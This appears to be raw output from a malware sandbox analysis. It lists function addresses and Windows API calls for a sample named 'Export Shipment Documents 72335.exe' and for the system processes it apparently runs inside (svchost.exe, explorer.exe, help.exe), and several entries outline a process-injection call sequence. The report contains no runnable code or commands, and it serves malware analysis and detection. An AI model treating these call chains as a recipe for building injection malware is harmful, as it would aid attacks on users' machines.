          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD2FE0 NtCreateFile,LdrInitializeThunk,4_2_02DD2FE0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD2F30 NtCreateSection,LdrInitializeThunk,4_2_02DD2F30
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD2CA0 NtQueryInformationToken,LdrInitializeThunk,4_2_02DD2CA0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD2C70 NtFreeVirtualMemory,LdrInitializeThunk,4_2_02DD2C70
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD2C60 NtCreateKey,LdrInitializeThunk,4_2_02DD2C60
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD2DD0 NtDelayExecution,LdrInitializeThunk,4_2_02DD2DD0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD2DF0 NtQuerySystemInformation,LdrInitializeThunk,4_2_02DD2DF0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD2D10 NtMapViewOfSection,LdrInitializeThunk,4_2_02DD2D10
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD35C0 NtCreateMutant,LdrInitializeThunk,4_2_02DD35C0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD4340 NtSetContextThread,4_2_02DD4340
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD4650 NtSuspendThread,4_2_02DD4650
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD2AF0 NtWriteFile,4_2_02DD2AF0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD2AB0 NtWaitForSingleObject,4_2_02DD2AB0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD2B80 NtQueryInformationFile,4_2_02DD2B80
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD2BA0 NtEnumerateValueKey,4_2_02DD2BA0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD2EE0 NtQueueApcThread,4_2_02DD2EE0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD2E80 NtReadVirtualMemory,4_2_02DD2E80
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD2E30 NtWriteVirtualMemory,4_2_02DD2E30
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD2F90 NtProtectVirtualMemory,4_2_02DD2F90
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD2FB0 NtResumeThread,4_2_02DD2FB0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD2FA0 NtQuerySection,4_2_02DD2FA0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD2F60 NtCreateProcessEx,4_2_02DD2F60
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD2CC0 NtQueryVirtualMemory,4_2_02DD2CC0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD2CF0 NtOpenProcess,4_2_02DD2CF0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD2C00 NtQueryInformationProcess,4_2_02DD2C00
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD2DB0 NtEnumerateKey,4_2_02DD2DB0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD2D00 NtSetInformationFile,4_2_02DD2D00
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD2D30 NtUnmapViewOfSection,4_2_02DD2D30
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD3090 NtSetValueKey,4_2_02DD3090
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD3010 NtOpenDirectoryObject,4_2_02DD3010
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD39B0 NtGetContextThread,4_2_02DD39B0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD3D70 NtOpenThread,4_2_02DD3D70
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD3D10 NtOpenProcessToken,4_2_02DD3D10
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_024AA320 NtCreateFile,4_2_024AA320
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_024AA3D0 NtReadFile,4_2_024AA3D0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_024AA450 NtClose,4_2_024AA450
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_024AA500 NtAllocateVirtualMemory,4_2_024AA500
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_024AA3CB NtReadFile,4_2_024AA3CB
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_024AA4FA NtAllocateVirtualMemory,4_2_024AA4FA
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02C59BAF NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtUnmapViewOfSection,NtClose,4_2_02C59BAF
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02C5A036 NtQueryInformationProcess,NtSuspendThread,NtSetContextThread,NtQueueApcThread,NtResumeThread,4_2_02C5A036
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02C59BB2 NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,4_2_02C59BB2
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02C5A042 NtQueryInformationProcess,4_2_02C5A042
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_00434D50: GetFullPathNameW,__swprintf,_wcslen,_wcslen,_wcslen,CreateDirectoryW,CreateFileW,_memset,_wcslen,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,0_2_00434D50
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_004461ED _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,_wcsncpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,0_2_004461ED
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,0_2_004364AA
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_004120380_2_00412038
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_004271610_2_00427161
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0047E1FA0_2_0047E1FA
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_004212BE0_2_004212BE
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_004433900_2_00443390
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_004433910_2_00443391
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0041A46B0_2_0041A46B
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0041240C0_2_0041240C
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_004465660_2_00446566
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_004045E00_2_004045E0
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0041D7500_2_0041D750
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_004037E00_2_004037E0
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_004278590_2_00427859
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_004128180_2_00412818
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0040F8900_2_0040F890
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0042397B0_2_0042397B
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_00409A400_2_00409A40
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_00411B630_2_00411B63
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0047CBF00_2_0047CBF0
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0044EBBC0_2_0044EBBC
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_00412C380_2_00412C38
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0044ED9A0_2_0044ED9A
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_00423EBF0_2_00423EBF
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_00424F700_2_00424F70
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_0041AF0D0_2_0041AF0D
          Source: C:\Users\user\Desktop\Export Shipment Documents 72335.exeCode function: 0_2_03FE66400_2_03FE6640
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041E0272_2_0041E027
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004010302_2_00401030
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041E13D2_2_0041E13D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041DC622_2_0041DC62
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041D5632_2_0041D563
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041EDCE2_2_0041EDCE
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00402D902_2_00402D90
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00409E4B2_2_00409E4B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00409E502_2_00409E50
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041DE6D2_2_0041DE6D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00402FB02_2_00402FB0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384E3F02_2_0384E3F0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_039003E62_2_039003E6
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038FA3522_2_038FA352
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C02C02_2_038C02C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E02742_2_038E0274
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F41A22_2_038F41A2
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_039001AA2_2_039001AA
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F81CC2_2_038F81CC
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038301002_2_03830100
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DA1182_2_038DA118
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038C81582_2_038C8158
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D20002_2_038D2000
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383C7C02_2_0383C7C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038647502_2_03864750
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038407702_2_03840770
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385C6E02_2_0385C6E0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_039005912_2_03900591
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038405352_2_03840535
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038EE4F62_2_038EE4F6
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E44202_2_038E4420
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F24462_2_038F2446
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F6BD72_2_038F6BD7
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038FAB402_2_038FAB40
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383EA802_2_0383EA80
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038429A02_2_038429A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0390A9A62_2_0390A9A6
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038569622_2_03856962
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038268B82_2_038268B8
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0386E8F02_2_0386E8F0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384A8402_2_0384A840
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038428402_2_03842840
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038BEFA02_2_038BEFA0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03832FC82_2_03832FC8
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384CFE02_2_0384CFE0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03882F282_2_03882F28
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03860F302_2_03860F30
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E2F302_2_038E2F30
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B4F402_2_038B4F40
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03852E902_2_03852E90
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038FCE932_2_038FCE93
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038FEEDB2_2_038FEEDB
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038FEE262_2_038FEE26
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840E592_2_03840E59
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03858DBF2_2_03858DBF
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0383ADE02_2_0383ADE0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384AD002_2_0384AD00
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DCD1F2_2_038DCD1F
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E0CB52_2_038E0CB5
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03830CF22_2_03830CF2
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03840C002_2_03840C00
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0388739A2_2_0388739A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F132D2_2_038F132D
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382D34C2_2_0382D34C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038452A02_2_038452A0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385B2C02_2_0385B2C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E12ED2_2_038E12ED
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0384B1B02_2_0384B1B0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0387516C2_2_0387516C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0382F1722_2_0382F172
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0390B16B2_2_0390B16B
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038EF0CC2_2_038EF0CC
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038470C02_2_038470C0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F70E92_2_038F70E9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038FF0E02_2_038FF0E0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038FF7B02_2_038FF7B0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F16CC2_2_038F16CC
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038856302_2_03885630
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DD5B02_2_038DD5B0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_039095C32_2_039095C3
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F75712_2_038F7571
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038FF43F2_2_038FF43F
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038314602_2_03831460
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385FB802_2_0385FB80
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B5BF02_2_038B5BF0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0387DBF92_2_0387DBF9
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038FFB762_2_038FFB76
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038DDAAC2_2_038DDAAC
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03885AA02_2_03885AA0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038E1AA32_2_038E1AA3
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038EDAC62_2_038EDAC6
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038FFA492_2_038FFA49
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F7A462_2_038F7A46
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B3A6C2_2_038B3A6C
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038D59102_2_038D5910
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038499502_2_03849950
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385B9502_2_0385B950
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038438E02_2_038438E0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038AD8002_2_038AD800
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03841F922_2_03841F92
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038FFFB12_2_038FFFB1
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03803FD22_2_03803FD2
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03803FD52_2_03803FD5
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038FFF092_2_038FFF09
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03849EB02_2_03849EB0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0385FDC02_2_0385FDC0
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03843D402_2_03843D40
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F1D5A2_2_038F1D5A
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038F7D732_2_038F7D73
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038FFCF22_2_038FFCF2
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_038B9C322_2_038B9C32
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_037AA0362_2_037AA036
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_037AB2322_2_037AB232
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_037A10822_2_037A1082
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_037AE5CD2_2_037AE5CD
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_037A5B322_2_037A5B32
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_037A5B302_2_037A5B30
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_037A89122_2_037A8912
          Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_037A2D022_2_037A2D02
          Source: C:\Windows\explorer.exeCode function: 3_2_0ECCF2323_2_0ECCF232
          Source: C:\Windows\explorer.exeCode function: 3_2_0ECC9B303_2_0ECC9B30
          Source: C:\Windows\explorer.exeCode function: 3_2_0ECC9B323_2_0ECC9B32
          Source: C:\Windows\explorer.exeCode function: 3_2_0ECC50823_2_0ECC5082
          Source: C:\Windows\explorer.exeCode function: 3_2_0ECCE0363_2_0ECCE036
          Source: C:\Windows\explorer.exeCode function: 3_2_0ECD25CD3_2_0ECD25CD
          Source: C:\Windows\explorer.exeCode function: 3_2_0ECC6D023_2_0ECC6D02
          Source: C:\Windows\explorer.exeCode function: 3_2_0ECCC9123_2_0ECCC912
          Source: C:\Windows\explorer.exeCode function: 3_2_10D6F2323_2_10D6F232
          Source: C:\Windows\explorer.exeCode function: 3_2_10D650823_2_10D65082
          Source: C:\Windows\explorer.exeCode function: 3_2_10D6E0363_2_10D6E036
          Source: C:\Windows\explorer.exeCode function: 3_2_10D725CD3_2_10D725CD
          Source: C:\Windows\explorer.exeCode function: 3_2_10D6C9123_2_10D6C912
          Source: C:\Windows\explorer.exeCode function: 3_2_10D66D023_2_10D66D02
          Source: C:\Windows\explorer.exeCode function: 3_2_10D69B323_2_10D69B32
          Source: C:\Windows\explorer.exeCode function: 3_2_10D69B303_2_10D69B30
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E202C04_2_02E202C0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E402744_2_02E40274
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E603E64_2_02E603E6
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DAE3F04_2_02DAE3F0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E5A3524_2_02E5A352
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E320004_2_02E32000
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E581CC4_2_02E581CC
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E601AA4_2_02E601AA
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E281584_2_02E28158
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02D901004_2_02D90100
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E3A1184_2_02E3A118
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DBC6E04_2_02DBC6E0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02D9C7C04_2_02D9C7C0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DC47504_2_02DC4750
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DA07704_2_02DA0770
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E4E4F64_2_02E4E4F6
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E524464_2_02E52446
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E444204_2_02E44420
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E605914_2_02E60591
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DA05354_2_02DA0535
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02D9EA804_2_02D9EA80
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E56BD74_2_02E56BD7
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E5AB404_2_02E5AB40
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DCE8F04_2_02DCE8F0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02D868B84_2_02D868B8
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DA28404_2_02DA2840
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DAA8404_2_02DAA840
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E6A9A64_2_02E6A9A6
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DA29A04_2_02DA29A0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DB69624_2_02DB6962
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E5EEDB4_2_02E5EEDB
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DB2E904_2_02DB2E90
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E5CE934_2_02E5CE93
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DA0E594_2_02DA0E59
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E5EE264_2_02E5EE26
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02D92FC84_2_02D92FC8
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DACFE04_2_02DACFE0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E1EFA04_2_02E1EFA0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E14F404_2_02E14F40
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E42F304_2_02E42F30
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DC0F304_2_02DC0F30
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DE2F284_2_02DE2F28
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02D90CF24_2_02D90CF2
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E40CB54_2_02E40CB5
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DA0C004_2_02DA0C00
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02D9ADE04_2_02D9ADE0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DB8DBF4_2_02DB8DBF
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DAAD004_2_02DAAD00
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E3CD1F4_2_02E3CD1F
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E412ED4_2_02E412ED
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DBB2C04_2_02DBB2C0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DA52A04_2_02DA52A0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DE739A4_2_02DE739A
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02D8D34C4_2_02D8D34C
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E5132D4_2_02E5132D
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E5F0E04_2_02E5F0E0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E570E94_2_02E570E9
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DA70C04_2_02DA70C0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E4F0CC4_2_02E4F0CC
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DAB1B04_2_02DAB1B0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E6B16B4_2_02E6B16B
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02D8F1724_2_02D8F172
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DD516C4_2_02DD516C
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E516CC4_2_02E516CC
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E5F7B04_2_02E5F7B0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02D914604_2_02D91460
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E5F43F4_2_02E5F43F
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E3D5B04_2_02E3D5B0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E575714_2_02E57571
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E4DAC64_2_02E4DAC6
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E41AA34_2_02E41AA3
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E3DAAC4_2_02E3DAAC
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DE5AA04_2_02DE5AA0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E13A6C4_2_02E13A6C
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E57A464_2_02E57A46
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E5FA494_2_02E5FA49
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E15BF04_2_02E15BF0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DDDBF94_2_02DDDBF9
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DBFB804_2_02DBFB80
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E5FB764_2_02E5FB76
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DA38E04_2_02DA38E0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E0D8004_2_02E0D800
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DA99504_2_02DA9950
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DBB9504_2_02DBB950
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02E359104_2_02E35910
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DA9EB04_2_02DA9EB0
          Source: C:\Windows\SysWOW64\help.exeCode function: 4_2_02DA1F924_2_02DA1F92
